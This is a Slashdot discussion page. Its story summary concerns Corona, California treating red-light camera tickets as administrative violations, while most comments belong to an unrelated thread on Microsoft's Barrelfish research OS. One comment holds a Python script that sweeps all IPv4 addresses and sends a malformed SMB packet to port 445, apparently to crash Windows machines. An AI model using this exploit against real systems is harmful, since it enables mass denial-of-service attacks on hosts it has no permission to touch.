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CA City Mulls Evading the Law On Red-Light Cameras 366

Posted by kdawson
from the wrong-on-so-many-levels dept.
TechDirt is running a piece on Corona, CA, where officials are considering ignoring a California law that authorizes red-light cameras — cutting the state and the county out of their portion of the take — in order to increase the city's revenue. The story was first reported a week ago. The majority of tickets are being (automatically) issued for "California stops" before a right turn on red, which studies have shown rarely contribute to an accident. TechDirt notes the apparent unconstitutionality of what Corona proposes to do: "The problem here is that Corona is shredding the Sixth Amendment of the US Constitution, the right to a trial by jury. By reclassifying a moving violation... to an administrative violation... Corona is doing something really nefarious. In order to appeal an administrative citation you have to admit guilt, pay the full fine, and then apply for a hearing in front of an administrative official, not a judge in a court. The city could simply deny all hearings for administrative violations or schedule them far out in advance knowing full well that they have your money, which you had to pay before you could appeal."
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Microsoft Releases Prototype of Research OS "Barrelfish"

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  • Ahhh (Score:5, Funny)

    by some_guy_88 (1306769) on Friday September 25, 2009 @02:03AM (#29537023) Homepage

    That slashdot outage was terrible. I almost got some work done..

    • by davmoo (63521)

      work

      We do not allow filthy words like this to be used in here. :-)

    • What the.... (Score:5, Interesting)

      by RingDev (879105) on Friday September 25, 2009 @10:51AM (#29540353) Homepage Journal

      I don't know what the outage was, but why am I reading comments about open source code, routing, and marshaling in the comments about a constitutional overstep by a local municipality in CA?

      -Rick

      • by the_macman (874383) on Friday September 25, 2009 @11:19AM (#29540659)

        World of Slashdotcraft: Cataclysm

    • Re: (Score:3, Funny)

      by mcgrew (92797) *

      I don't think it's over. The summary is talking about red light cameras in California, and all the comments are about Microsoft.

  • weird (Score:2, Interesting)

    by Anonymous Coward

    This is an open source project, and just from some brief looks at the source they are using grub as the boot loader. This might be a new beginning for microsoft research.

    • Re: (Score:3, Informative)

      by El_Muerte_TDS (592157)

      Maybe it's because it's not just Microsoft who's working on that project. The other half of the team is from ETH Zurich Systems Group: http://www.systems.ethz.ch/ [systems.ethz.ch] .

    • Re:weird (Score:4, Interesting)

      by ozmanjusri (601766) <aussie_bob@hotmail.cOPENBSDom minus bsd> on Friday September 25, 2009 @02:23AM (#29537101) Journal
      Not so weird really

      Firstly, this is a collaboration with ETH Zurich, not exclusively a Microsoft project, and secondly, the OS isn't available under any existing license. to quote:

      Excluding some third-party libraries, which are covered by various BSD-like open source licenses, Barrelfish is released under the following license (also included in the download):

      Copyright (c) 2007, 2008, 2009, ETH Zurich and Microsoft Corporation. All rights reserved.

      Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

      1. * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
      2. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
      3. * The names of the authors may not be used to endorse or promote products derived from this software without specific prior written permission.

      It's great that this source will be open for study, at least at this early stage, but it's very likely to be locked away under copyright and/or patents by the time it becomes useful.

      • Re: (Score:3, Interesting)

        If they publish papers about it, then it can't be patented. That's the first thing a patent lawyer asks: "Who have you told?".

        Followed by: "How much money do you have? Gimme!"

    • Re: (Score:3, Insightful)

      MS Research is like a research university for all intents and purposes; they basically have academic latitude. Of course by the time the product reaches market it will be made, um..."better".

      • Re:weird (Score:4, Insightful)

        by node 3 (115640) on Friday September 25, 2009 @04:10AM (#29537479)

        MS Research is like a research university for all intents and purposes; they basically have academic latitude. Of course by the time the product reaches market it will be made, um..."better".

        That's exactly it. MS Research is very much like a university except that their projects rarely make it out into the public in any meaningful and open way.

        I'm not begrudging MS keeping their projects to themselves, just pointing out that there is a fairly key distinction to be made here.

  • by negRo_slim (636783) <mils_oRgen@hotmail.com> on Friday September 25, 2009 @02:12AM (#29537051)
    It's WM_PAINT all over again.
  • by bmo (77928) on Friday September 25, 2009 @02:14AM (#29537067)

    3 "New Architechture" operating systems.

    Microsoft is getting more like the old Xerox and IBM every day.

    Xerox PARC: Create industry changing new technology that we hear about but never see. Never release.
    IBM of the 1980's: Fat, lethargic, bureaucracy driven.
    Microsoft right now: Both.

    I'm still waiting for Cairo.

    --
    BMO

    • by GreatBunzinni (642500) on Friday September 25, 2009 @02:50AM (#29537203)
      If you believe that barrelfish, midori and singularity are "new technology" then you don't have a clue about what has been done in the tech world. Microkernels? Done. OSs based/written in managed code? Done. Capabilities-based OSs? Done. What Microsoft is doing is reimplementing old concepts on Microsoft's own technology (C#, CIL, etc) and then using the test code that has been produced by those projects as a marketing tool. So when Windows is known to be plagued with security bugs and, therefore, viruses... Well, here comes Microsoft's marketing division clamouring this new singularity project, armed with it's press release which announces that Microsoft is building from the ground up an OS entirely devoted to security. Very convenient to dispel criticisms but still very irrelevant. So when Windows is known to have lacklustre support for multi-processor/multi-core systems... Well, here comes Microsoft's marketing division clamouring this new barrelfish project, armed with it's press release which announces that Microsoft is building from the ground up an OS entirely devoted to multi-core systems. Once again, very convenient to dispel criticisms but still very irrelevant. After all, although they announce so many of these research projects, all Microsoft is able to dump into the market is a series of Windows NT clones. So why is this even news?
      • by 2Bits (167227)

        Well, if Microsoft's new OS can handle multi-core, multi-processor transparently for the applications, and if all the developers need to do is to recompile their apps on the new system, and voila, everything is transparently distributed across the cores/processors, then I'll be the first one to welcome it.

        Multi-core/processor programming is hard. The thing I found quite elegant in Erlang is that it makes it so transparent that you don't even think about it. Imagine an OS with a "normal-looking" set of libra

        • The big problem with MS's experimental OS's is that they never make it to production. IIRC all of the OS's they've ever actually sold were Purchased from someone else (or outright copied in the case of DOS), and then 'extended'. To my knowledge, none of their experimental OSs have ever actually see production, and I have little reason to believe that they ever will.
        • Re: (Score:3, Insightful)

          by speedtux (1307149)

          Well, if Microsoft's new OS can handle multi-core, multi-processor transparently for the applications

          No more than current OS'es. This OS simply claims to be internally more efficient.

          The thing I found quite elegant in Erlang is that it makes it so transparent

          Erlang really does little that you can't do as easily in other languages. The real value of Erlang is in what it lacks: it prevents you from doing things that are hard to distribute across cores.

          Imagine an OS with a "normal-looking" set of library tha

      • Re: (Score:2, Insightful)

        by bmo (77928)

        What I was pointing out was what you're jumping down my throat about.

        Indeed, didn't I say I was still waiting for Cairo? Yes, I believe I did.

        Please take a fuckin' chill pill and say hello to your new status.

        Burning karma because I have it to burn.

        --
        BMO

      • Dude, it's just a research project, not a product sold by the marketing department. Just friggin look at the website!

  • by Pikoro (844299) <[init] [at] [init.sh]> on Friday September 25, 2009 @02:25AM (#29537113) Homepage Journal
    Making jokes for this OS should be as easy as shooting fish in a barrel...
  • Uhm... (Score:2, Funny)

    by BarrelFish (989344)
    I'm at loss for words... I want to thank my mom, the cat, the postman, my cousin Gill - all those wonderful persons/animals/entities that made this possible. 'Cept Frank. Screw you, Frank.
    • Re: (Score:2, Funny)

      by Anonymous Coward

      I'm at loss for words... I want to thank my mom, the cat, the po..hold on a second, ima let you finish but microsoft has developed one of the best operating systems of all time!!!

  • by Janek Kozicki (722688) on Friday September 25, 2009 @02:29AM (#29537117) Journal

    that's a surprise. http://www.barrelfish.org/barrelfish_sosp09.pdf [barrelfish.org]

  • Genuine innovation (Score:5, Insightful)

    by Max Romantschuk (132276) <max@romantschuk.fi> on Friday September 25, 2009 @02:29AM (#29537119) Homepage

    Say what you want about Microsoft, but their research division does a hell of a lot of genuine innovation.

    This is an important problem area for future software systems, great that alternative approaches are being looked at. More power to them.

    • by 1s44c (552956) on Friday September 25, 2009 @02:44AM (#29537179)

      Say what you want about Microsoft, but their research division does a hell of a lot of genuine innovation.

      I don't think so. I'll give them credit for trying really hard and for having a huge budget though.

      Can you give a few examples of really original research? Everything I've seen was either trivial or a rehash of old mainframe ideas. Not that I'm saying there is anything wrong with old mainframe ideas but it's hardly 'genuine innovation'.

      • by timmarhy (659436)
        .net is their only real innovation that comes to mind. I think you are over playing the innovation card though, MS's real strength is in their ability to take technologies and make them easy to use, consistent and reliable.

        they know exactly what people want and they cater to it, which is what OSS still doesn't get after much posturing.

        • by 1s44c (552956) on Friday September 25, 2009 @03:26AM (#29537333)

          .net is their only real innovation that comes to mind.

          In what way is .net an innovation? It's not an innovation without being new in some way.

          MS's real strength is in their ability to take technologies and make them easy to use, consistent and reliable.

          No. Their real strength is marketing, sales, strongarming hardware suppliers, and consumer ignorance. Their software isn't easier to use or more consistent than anything else and it certainly isn't more reliable. Actually it is shockingly unreliable.

          Ever had to deal with active directory? Chain crashes of multiple machines do happen and application level errors often cause a blue screen and leave no logs to indicate what went wrong. In big environments bugs like that cost a few million a day and they happen every day. Companies pay a fortune just to cover things like that up, it happens everywhere.

          Ever seen a virus wipe out over a thousand production servers in a day? I have on windows but never on anything unix based.

          • Re: (Score:2, Interesting)

            by CxDoo (918501)

            Wow, that's some heavy shit you've been smoking.

            Ease of use is their no 1 selling point, no one comes even close. If there were easily deployable and maintainable alternatives to their products they would at least start penetrating the small business market, which is where easy & cheap are the king.

            Ever wonder why Random Small Company uses Windows stack all the way when they don't _really_ need full blown Active Directory, Exchange & SQL Server? It is not because they're stupid and don't know better

            • Re: (Score:3, Informative)

              by 1s44c (552956)

              Ease of use is their no 1 selling point

              Indeed. It's a selling point, but that doesn't make it true. It's just what their marketing claims and what people that don't really know IT believe because they have little other information on which to base their choices.

              You claim it's easier to deploy windows and I'm not disagreeing with you. What I'm saying is that total cost of ownership, including additional costs like downtime are higher with windows in almost every case and in many cases they are a great deal higher. Losing the use of email or losin

            • by 1s44c (552956)

              Besides you didn't answer the question.
              In what way is .net an innovation?

              Or don't you have that section in your pro-microsoft copy and paste script?

          • by drsmithy (35869)

            Chain crashes of multiple machines do happen and application level errors often cause a blue screen and leave no logs to indicate what went wrong.

            Can you provide details on how to replicate this behaviour ?

            Ever seen a virus wipe out over a thousand production servers in a day? I have on windows but never on anything unix based.

            Can you provide details on how it managed to do so ? Vectors, ACL misconfigurations, etc ?

            • by RiotingPacifist (1228016) on Friday September 25, 2009 @05:47AM (#29537769)

              Can you provide details on how to replicate this behaviour ?

              Install python
              run:
              #!/usr/bin/python
              from socket import socket
              from time import sleep

              while True:
                      for a in 255:
                              for b in 255:
                                      for c in 255:
                                              for d in 255:
                                              ip_addr = a+"."+b+"."+c+"."+d
                                              host = id_addr, 445
                                              buff = (
                                              "\x00\x00\x00\x90" # Begin SMB header: Session message
                                              "\xff\x53\x4d\x42" # Server Component: SMB
                                              "\x72\x00\x00\x00" # Negociate Protocol
                                              "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
                                              "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
                                              "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
                                              "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
                                              "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
                                              "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
                                              "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
                                              "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
                                              "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
                                              "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
                                              "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
                                              "\x30\x30\x32\x00"

                                              )
                                              s = socket()

                                              s.connect(host)
                                              s.send(buff)
                                              s.close()

          • Re: (Score:3, Insightful)

            by timmarhy (659436)
            .net is innovative in the sense it's a worthy competitor to java. while you could argue .net isn't truely innovative because it fills the same niche that java did years before, you'd be vastly understating the work that went into the .net framework and not understanding how they've done things differently. remmeber innovation isn't finding new problems, it's finding new solutions to problems.

            To answer your question i use AD daily at work - it's fine. i haven't ever had a single problem with it going back

    • by antifoidulus (807088) on Friday September 25, 2009 @02:47AM (#29537193) Homepage Journal
      By Genuine Innovation you mean "doing stuff Sun was doing well over a decade ago?" Sounds pretty innovative to me.
      • by 1s44c (552956) on Friday September 25, 2009 @02:52AM (#29537213)

        By Genuine Innovation you mean "doing stuff Sun was doing well over a decade ago?" Sounds pretty innovative to me.

        I think the 'Genuine Innovation' bit comes in when they lie about having done it first in some huge expensive marketing campaign.

        • by drsmithy (35869)

          I think the 'Genuine Innovation' bit comes in when they lie about having done it first in some huge expensive marketing campaign.

          Can you provide an example of this ?

          • by 1s44c (552956) on Friday September 25, 2009 @05:45AM (#29537759)

            I think the 'Genuine Innovation' bit comes in when they lie about having done it first in some huge expensive marketing campaign.

            Can you provide an example of this ?

            I can provide a few.

            MS-DOS was QDOS brought and rebranded. MS didn't create it yet they told everyone they did.

            The windows desktop environment was a mac or PARC or X clone, not sure which. It wasn't new but they pushed it like it was.

            The Windows NT OS was reimplementation of VMS and UNIX systems, only not done nearly as well as either. They called it NT for New Technology and marketing it as the stable 'business' alternative to dos based windows.

            Excel was a Lotus 1-2-3 clone. The pivot tables accountants love so much were copied from Lotus too. They sell their office package like crazy but they didn't develop the core of it.

            Word was a wordstar clone.

            Internet Explorer was a mosaic clone. Although MS are giving it away for nothing they are still marketing it like crazy.

            Active Directory is just a LDAP clone. They market it as something which will solve all the worlds problems.

  • by 1s44c (552956) on Friday September 25, 2009 @02:38AM (#29537155)

    Microsoft is far to big to change direction. They are a marketing company trying to wring every last penny out of windows and related tools. They have never been a technology company and trying to change now will do nothing but burn vast sums of money. Windows is obsolete and they know they have to replace it but they will never be able to come up with anything better.

    They could develop new and better OS's at a fraction of their current research costs by simply giving cash to universities to do the work and keeping their hands off the projects. Sadly they can't think like that.

    • by 7 digits (986730) on Friday September 25, 2009 @05:35AM (#29537723)

      I am always amazed that people can be both assertive and utterly wrong. I despise Microsoft, for a variety of reason, but that isn't a reason to be blind at their qualities:

      > Microsoft is far to big to change direction.

      Internet, WindowsNT, XBox are counter examples. Microsoft is one of the most agile company out there. A lot of dead [wikipedia.org] / moribond [wikipedia.org] companies [wikipedia.org] and a lot of [wikipedia.org] products [wikipedia.org] are there to serve as a warning to others [google.com].

      > They have never been a technology company

      I beg to differ [amazon.com]. It is possible to argue that their are not a technology company anymore, but not that they never were

      > They could develop new and better OS's at a fraction of their current research costs by simply giving cash to universities to do the work and keeping their hands off the projects

      To build an OS that they would get no benefits of ? Wtf? And why does MS would need a new OS ? What is wrong with the current OS model ? They need better apps, they need better subsystems, they need to remove cruft and to clean up stuff, but the core OS is still fine for its uses and can be improved by evolutions.

      They just need Microsoft Research for a few things, mainly:
      * To prevent people working here from working elsewhere, where they could create and apply disruptive technology.
      * To get ideas that may or may not integrated into products (given the origins of the talking paperclip, the latter may be better)
      * To have a better time-to-market IF they needed to produce something due to some disruptive tech appearing from competitors

      Giving cash to university and keeping their hands off the projects obviously wouldn't make any sense

  • amused... (Score:5, Funny)

    by madenglishbloke (829598) on Friday September 25, 2009 @02:46AM (#29537189)
    Please tell me I'm not the only one amused by the whole "best built on Debian or Ubuntu, 'cos thats what we use" part of the README...
  • by mcrbids (148650) on Friday September 25, 2009 @02:52AM (#29537211) Journal

    It was more of a programming language than an Operating System, but ERLANG has the stuff to do multi-core, well. Using ERLANG, they've actually achieved nine nines of uptime. That works out to well under a SECOND of downtime in a year. It scales (near) linearly as the number of cores go up, IO is the limitation.

    You can read all about it here. [pragprog.com] Concepts like message passing and immutability is what makes it work.

    Erlang actually lets you update the program while it's running. It has extensive error recovery. It's lack of shared state means you can not only go multi-core, but multi-system over networks - invisibly.

    Seriously, It's the cat's meow for ultra-high-end high-performance, industrial-grade software solutions. If I were writing a stock exchange management system, I would probably consider ERLANG.

  • by Shag (3737) on Friday September 25, 2009 @02:55AM (#29537233) Homepage

    It's a little hard to determine whether this is actually about discrete multicore systems, or heterogenous clusters. Sure, a single conventional machine is likely to have both CPU and GPU, but it's less likely to have x86_64, x86 and CPUs. So to some extent, I suspect heterogenous clusters. In the case of a single box, this would come across as a massive prototyping effort simply to avoid supporting an open-tracked standard (OpenCL).

  • by Anonymous Coward on Friday September 25, 2009 @02:58AM (#29537245)

    When Microsoft wonders why Mac is perceived and cool and Windows isn't take a clue from their naming conventions. Barrelfish vs Snow Leopard. Can you spot the cooler name? After Vista flopped the marketing department went out and got drunk and said "aw fuck it, we'll just call the next one Windows 7". Just kind of feels like they really aren't even trying.

    • Re: (Score:2, Funny)

      by CxDoo (918501)

      Snow Leopard is a kind of "I'm not gay" gay name. Vista too, that's why it failed with general populace.

      Windows 7 is a step in the right direction. I expect them to name the next one Windows.NT8.2.1043_X64.
      That's a cool name and definitely not gay. It would also ring nice with FOSS crowd.

  • by OrangeTide (124937) on Friday September 25, 2009 @03:01AM (#29537255) Homepage Journal

    I would like something that is a combination of Inferno/Plan9(styx is nice) and Erlang as a stand-alone OS. Throw in any other cool features for good multiprocessor and high performance clustering and fault tolerance. (Although if Erlang-like, I would like some better syntax, it's a little hairy). The idea of being able to scale to 20 million threads on one system efficiently with Erlang is intriguing, although I estimated that it would take about 48GiB of RAM to just have the stack data. But that's not so bad, it's pretty easy to find an affordable server motherboard that can accept 64GiB of RAM. (installing all that RAM is moderately expensive though)

    • by drspliff (652992)

      The Thunder n6550EX has 8 DDR2 sockets per processor (4 of them), yes... 32 memory slots. Filling this thing up with 64GiB of 2GiB chips... just over $1000 at retail prices.

      However each quad core processors will set you back nearly $3k a piece.

  • by M-RES (653754) on Friday September 25, 2009 @03:30AM (#29537351)
    Isn't it a shame that after all the hard work the devs put into great ideas like this at MS, once the accountants and marketers get their hands on it it comes out the doors like Vista! There's something seriously wrong with the workflow in that company...
    • Vista in my eyes brought about the changes to Windows that needed to happen. It was the adolescence stage of Windows IMO, and the result is a matured Windows 7 that's hit the ground running. Sure Vista was painful at the beginning, but it shaped up and turned into a respectable OS in the end, and now W7 is bearing the fruit of that as pretty much all the reviews have stated.

      Before Vista; Windows really was quite immature (and I refer more to the "Windows way" of doing things more than the tech capability) .

  • I'm shocked (Score:5, Funny)

    by bcmm (768152) on Friday September 25, 2009 @05:13AM (#29537657)
    From TFA:

    This web page was brought to you by a server running Barrelfish.

    At last a TFA which is actually hosted on the system it's talking about, and it refuses to break so we can make "It must be running Barrelfish" jokes. Maybe it really is efficient.

  • by MadCow42 (243108) on Friday September 25, 2009 @10:39AM (#29540181) Homepage

    How did I end up in the Windows 7 thread from the "CA City Mulls Evading the Law On Red Light Cameras" article? It even shows that in the address bar, so I'm not crazy here...

  • Wrong comments? (Score:5, Informative)

    by edsousa (1201831) on Friday September 25, 2009 @10:42AM (#29540231) Journal
    What the hell is going here? I see a story about Corona CA evading the law on red-light cameras and comments (and tags) are about some MS story?
  • by Shimmer (3036) <brianberns@gmail.com> on Friday September 25, 2009 @11:30AM (#29540795) Homepage Journal

    I've seen many spectacular Slashdot screwups over the years, but this is a new one. Well done, guys!

  • by guruevi (827432) <evi AT smokingcube DOT be> on Friday September 25, 2009 @11:32AM (#29540817) Homepage

    (Red light story) - PA already does it in many cities/villages. You are required to pay a $50 non-refundable 'administrative' fee in order to be able to present your case to a judge and the judge will usually give you a reduction on the fine even if you have a good case (cop always wins). Given that the fines are somewhere between $75 and $150, it's not even worth going in.

    NY does it also in large cities. You don't even go to a judge anymore, you go to an administrator at the Traffic Violations Bureau who decides how much you have to pay, no plea bargaining, no judges.

    • by Technician (215283) on Friday September 25, 2009 @01:36PM (#29542269)

      I think one way to fight this is to use the approach that some cyclists use in the "Critical Mass" approach to cycling safety.

      If a grass roots protest was formed by simply stopping at ALL red lights and waiting for a green would soon gridlock traffic. Until the tickets go away for turning on red, not turning on red to avoid the new tax is the solution to show the impact it has on drivers. Stopping for the red and waiting for the green saves you the ticket as well as the line behind you.

  • by tholomyes (610627) on Friday September 25, 2009 @11:54AM (#29541053) Homepage
    "Look, if you wanted to talk about pet care, you should've called two weeks ago when our show on racism was airing. Okay, I'm doing a show about the elderly right now, which of course, to people watching means: call in about cooking..."
  • Constitutional? (Score:4, Informative)

    by PPH (736903) on Friday September 25, 2009 @12:46PM (#29541671)

    "The problem here is that Corona is shredding the Sixth Amendment of the US Constitution, the right to a trial by jury. By reclassifying a moving violation... to an administrative violation... Corona is doing something really nefarious. In order to appeal an administrative citation you have to admit guilt, pay the full fine, and then apply for a hearing in front of an administrative official, not a judge in a court. T

    Could someone send a copy of the applicable amendments and supporting court decisions to Washington State? Moving violations have been considered "administrative violations" here for years. WA state does things a little differently; they don't require you to admit guilt. Guilt has nothing to to with paying/not paying a fine. They also employ someone who is nominally a judge to handle contested violations. But at the outset of the "trial" they state that it is not a trail, rules of evidence do not apply including the municipalities need to prove a case. Other than the semantics, it sounds just like Corona's system.

  • by Durindana (442090) on Friday September 25, 2009 @02:18PM (#29542723)

    Well, that's odd.

    But anyway, concerning Corona, CA, it should be noted that some blogger linked to by TechDirt is no better a legal scholar than... anyone else, apparently. There's no Sixth Amendment right to a jury trial to "shred" for traffic violations, or any misdemeanor involving less than six months or so of jail.

  • All about REVENUE (Score:3, Insightful)

    by Nonillion (266505) on Friday September 25, 2009 @04:50PM (#29544491)

    "where officials are considering ignoring a California law that authorizes red-light cameras -- cutting the state and the county out of their portion of the take -- in order to increase the city's revenue."

    If this doesn't convince you that it's NOT "all about safety" then I don't know what will...

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